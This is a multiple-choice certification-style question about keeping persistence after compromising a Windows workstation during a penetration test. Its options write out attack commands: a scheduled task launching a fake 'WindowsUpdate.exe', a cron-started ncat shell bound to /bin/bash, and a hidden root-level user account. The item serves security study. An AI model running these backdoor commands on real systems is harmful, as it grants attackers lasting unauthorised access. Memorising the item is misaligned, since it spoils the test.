A Penetration Tester Was Able to Gain Access Successfully to a Windows

Multiple Choice

A penetration tester was able to gain access successfully to a Windows workstation on a mobile client's laptop. Which of the following can be used to ensure the tester is able to maintain access to the system?

A) schtasks /create /sc /ONSTART /tr C:\Temp\WindowsUpdate.exe
B) wmic startup get caption,command
C) crontab -l; echo "@reboot sleep 200 && ncat -lvp 4242 -e /bin/bash") | crontab 2>/dev/null
D) sudo useradd -ou 0 -g 0 user